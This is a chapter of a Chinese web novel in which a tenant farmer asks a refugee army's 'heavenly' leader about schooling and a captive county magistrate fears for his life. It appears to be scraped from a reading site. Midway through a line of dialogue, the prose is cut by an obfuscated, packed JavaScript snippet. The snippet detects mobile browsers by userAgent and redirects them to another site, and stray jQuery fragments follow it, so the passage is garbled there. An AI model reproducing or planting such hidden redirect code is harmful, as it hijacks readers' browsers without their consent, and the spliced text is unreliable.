默认冷灰
24号文字
方正启体

9. 王老三想读书

作者:辞一岁本书字数:K更新时间:
    作为一个有把子力气的佃户,王老三当然是时常想自己的将来的。


    但是无论他怎么想,将来似乎都是灰暗的,看不到一点希望的。


    他佃了几亩田,田租交了后刚够自己生活,外加家无恒产,也娶不到老婆,眼看着就要这样光棍一辈子了。


    等老了种不了田的时候,自然只能等着饿死,村里这样的老人多是这个结局。


    便说邻里时不时接济一点,那也是有定数的,谁家也没那闲钱养别人家的老人。


    但若是会读书,那又不一样了。远的不说,会读书之后,他娶妻定是不愁的。


    村里人都敬重读书人,就算家计艰难,也会有女子愿意嫁进来。便是家里再穷,父亲会读书,难道不会教自己儿子吗?那便省下一笔束脩了。


    读书之后,虽说平民百姓还是做不了什么大官,但在村里开个私塾,一年得几条肉干的束脩还是可以的,又或者去给大户人家做账房、掌柜,总是比做佃户要出息的多。


    这是王老三一直以来的野望,只是从未和人说过,连自己父母在时也没提过。


    他是个务实的人,知道家里供不起,他们家光是活着已经用光了全部力气。


    但现在这些流民难道就供得起吗?


    是不是,只要加入流民军,就能读书呢?


    他迫切地想知道。


    计议已定,王老三便出列,问坐在桌前的陌生官吏:“敢问大人,怎么才能入读隔壁的学校?”


    工作人员,也就是小张,闻言诧异,因为她也不知道。


    她和小田当然也在读书,不过最近被挑出来登记身份证之后,读书的时间就被安排到了晚上,天人称之为“夜校”,她们原本还以为出来做事之后就不能再学习了,没想到还有意外之喜,俱都感激,丝毫不觉得累。


    白天她们上工也是有俸禄的,且不比里正等人的低。晚上还能学习,继续提高,天人也承诺她们,并不是就叫她们在这个岗位上呆一辈子,只要以后带出足够使用的人手,想去别的岗位做事也是完全听凭自己的意思。


    因此小张一点也没有要放弃继续进步的意思。


    她以为自己已经是流民军中走得较远的人之一了,她很聪明,被天人从一千人中选出来,又赋予她天脑的使用权,小张是为此得意过一阵的。


    然而现在她忽地惊觉,并不是别人不上进,只是很多人还没有上进的机会呢!


    就面前这位,一看就知道是农民,甚至可能是佃户,在她们流民军来了之后,都知道问读书的事了,假以时日,他们未必不能做出点成就。


    加入自己还在为自己目前到手的一点东西沾沾自喜,迟早会被比到下面去!


    而且这个活并没有那么不可代替,这才几天,她培养的人都快掌握了不是吗?


    她想了很多,但都是一刹那发生的事,听了王老三的话,小张沉吟半晌道:


    “目前我们军中是人人都要识字的,至于其他人如何,我也不太清楚,不过我可以去问问看,要是你有空的话,也可以在这等等,天人时常会过来巡视。”


    王老三问这个,早就做好了被呵斥,甚至打骂的心理准备,官就是官,他们打骂你两下,不也是很正常的?


    他敢出来,也是自恃皮糙肉厚轻易打不坏,没想到这位小娘子如此和气。


    而且,她还说了一个好消息!


    流民军都识字!


    那是不是意味着,他们并没有把识字和读书看成一件需要资格的事?难道流民里全都是清白人家吗?


    那既然不清白的人家都可以识字,他随时佃户,但也堂堂正正做人,如何识不得?


    王老三应了声,心情稍微有些振奋。


    王里正多看了他一眼,也没对此发表什么意见,既然上官都没说话,他多是什么?


    后面排队的人也听见了这话,都有些骚动,小张和其他工作人员突然站起身道:“首领好。”


    排队的人听了,忙要下跪,慕宁让他们都起来,一些人坚持跪拜,一些人犹犹豫豫跪拜完起来,还有一些人见工作人员都没跪,也就犹豫着没跪。


    但都非常统一地伸长了脖子想仔细看看传说中的天人什么样。


    看了就更吃惊了,嚯!还是个女娃呢!


    小张便把王老三的问题说了下,慕宁颔首,看着王老三,目光有些赞赏:“你很不错,虚心向学,等分完田之后就会组织上学的事了,农闲时便全天上课,农忙时便晚上上,只要你想学,一定会有机会读书的。”


    慕宁没有想到她才攻占了这个城池几天,就有人发挥出了主观能动性,要求读书进步了。


    原本她的打算是先分田,分了田,百姓们心里就有底,也能建立起对流民军的基本信任。


    然后才是建立学校,安排扫盲,建设工厂这些。


    她还担心步子迈地太大,大家接受不了会出乱子,看来她还是小瞧了天下英才。


    《三国志》中立传人物只有五六百人,而有独立传记的就两三百人。


    难道除了他们,就没有别的杰出人才了吗?


    慕宁认为不是的,只是他们很多人还在温饱线上挣扎,连识字都是问题,即便有智慧,也没有展露的舞台。


    而现在,她存在的一点意义就是,创造这个舞台。


    *


    周县令放下手里的小石子,难掩忧虑道:“不知道外面如何了,也不知道我们的家人如何。”


    吴县尉看着墙上的七个划痕,也忍不住叹气:“我们都没事,她们只是无知妇孺,应该更不会有事吧。”


    这几天他们互相安慰,勉强挨了过来。


    按说周县令和吴县尉应该在被抓的时候立刻自尽,这才是大汉朝的忠臣孝子。


    否则,落到反贼手里,能有什么好?要么和他们同流合污,若是不愿入伙,必定会受到比死更可怖的折磨。


    即便侥幸未死,将来朝廷反攻倒算,难道就有好果子吃了吗?


    没死,也没被折磨,说他不是同流合污了,谁信?


    其实在落入反贼手里那一刻,周县令便注定要死了。反贼注定长久不了,入伙也只是苟全性命一时罢了。


    只是,家人尚在,他如何忍心在夫人和女儿面前自戕?


    及至道了牢里,又怕自戕会连累家人和吴县尉这个狱友。


    时至今日,他已颇为丧气。


    对面牢房关的雍家主便道:“周兄何必丧气?留得青山在,不怕没柴烧。只要还活着,便还有希望。”


    周县令目光微动,见他被关押这几天虽然郁郁,却没像自己一般绝望,他嗫嚅道:“难道雍兄而今还有办法?”


    就见雍雄闭口不言,轻轻地摇摇头。


    周县令便也不问了,只是猜测可能他还有族人在外面,能对他们施以救援。


    牢房外传来一阵阵读书声,周县令大声问:“什么声音?”


    刘老二听了,笑嘻嘻道:“是我们流民军在读书,老爷勿扰,到晚上还有一拨呢,亥时方歇。”


    周县令听了,和吴县尉对视一眼,都是惊诧莫名。


    流民军何时那么注重教化了?


    周县令便喃喃道:“难道他们真有高人指点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154487|196519||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不成?”


    观其行事,颇多章法,和一般的流民截然不同。


    吴县尉苦笑道:“大人还是莫要操心了,咱们自家身家性命都不保了。”


    未计,刘老二又押解了一群十几个人进来。


    雍雄见了,大叫一声,险些晕死过去。


    刘老二恶劣地笑了两声才道:“好叫大人们知道,这几个雍氏家仆意欲在城中纵火,被你家佃户告发,如今领来见完面便要送去盐井劳动改造了,哦,对了,就是先前雍家的盐井,现已被我们天人收编了。之前与雍家合作的符帅,也已经归入我们麾下,如今正为天人运盐呢!”


    周县令吃了已经,去看雍雄的脸色,就见他如今脸色灰败,衣服心如死灰的样子,就知道刘老二说的没错。


    这下是真的完啦!


    外面的人手被一锅端,连女婿符帅都倒戈了,他们还有什么指望!


    牢房里,雍氏一位族人登时就要撞墙寻死,被族人拉住了。


    刘老二厉声道:“天人说了,若有人敢寻死,阖家押去盐井煮盐,若阖家寻死,死了便扒光了扔大街上任人踩踏!”


    雍氏族人便哭天抢地起来,周县令也是悲从中来,忍不住要 啼哭,突见那刘老二转过头来对他眨了眨眼睛,笑了下,出去了。


    周县令的哭声卡在嗓子眼。


    他不会是骗雍氏的吧,他们的天人可能根本没说过这话?


    吴县尉见他不哭了,也是苦笑道:“我看这些流民军就是嘴上说的凶狠,也没对咱们怎么样,兴许事情还有转机呢。”


    周县令没他这么乐观:“你没听雍氏的佃户都告发主家了吗?定是搜捕地很厉害。”


    吴县尉便也沉默下去,这时节的道德观念是,主家对佃户是有恩的,稍微有些廉耻的人都不会去主动告发主家。


    那就只有另一种原因了,流民军也许在城中大肆搜捕豪族的漏网之鱼,甚至可能对知情人士严刑拷打。


    “唉……”


    除了叹气,他们也没有别的办法。


    然而第二天,就有人来带周县令出去。


    周县令出去前,凄凄切切地同吴县尉话别:“贤弟,若有机会见到我的家人,烦请告诉拙荆叫她带孩子回娘家去吧,可自行二嫁,我无不应。”


    吴县尉虎目含泪答应。


    来人嫌弃道:“说什么遗言呢,天人要重用你呢!”


    听了这话,周县令更是伤心,越是重用,死的越快!


    他一路上乱糟糟地想,待会儿对方要是威逼利诱,自己该怎么办?


    是一头撞死还是消极抵抗?


    最终他还是决定消极抵抗,毕竟如果他死了,他的妻女也没有价值了,多半不能幸免。


    若是消极抵抗,将来朝廷大军破城之时,他便从城头跳下去,以死明志,想来妻女有王家的背景,又没有直接参与到流民的事里,应能保全。


    主意定下后,他反而镇定了。


    想必流民首此时放他出来,也是想借他县令的威信,快速稳定城中局势。


    这本来也是他的职责,将来他死后,朝廷也无法对此说什么,就怕她还有别的为难的事要他去办。


    走着走着,周县令察觉不对,怎么是往城门方向?


    大惊之下,他驻足不前,疑心他们现在就要处决自己了。


    明明刚刚才决心慷慨赴死,真到了此刻,仍是万般不舍。


    带头的吴娟翻了个白眼,为着过于胆小的县令,但还是耐着性子解释了句:“快走吧,我现在先带你去办张身份证。”


    周县令:“啊?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)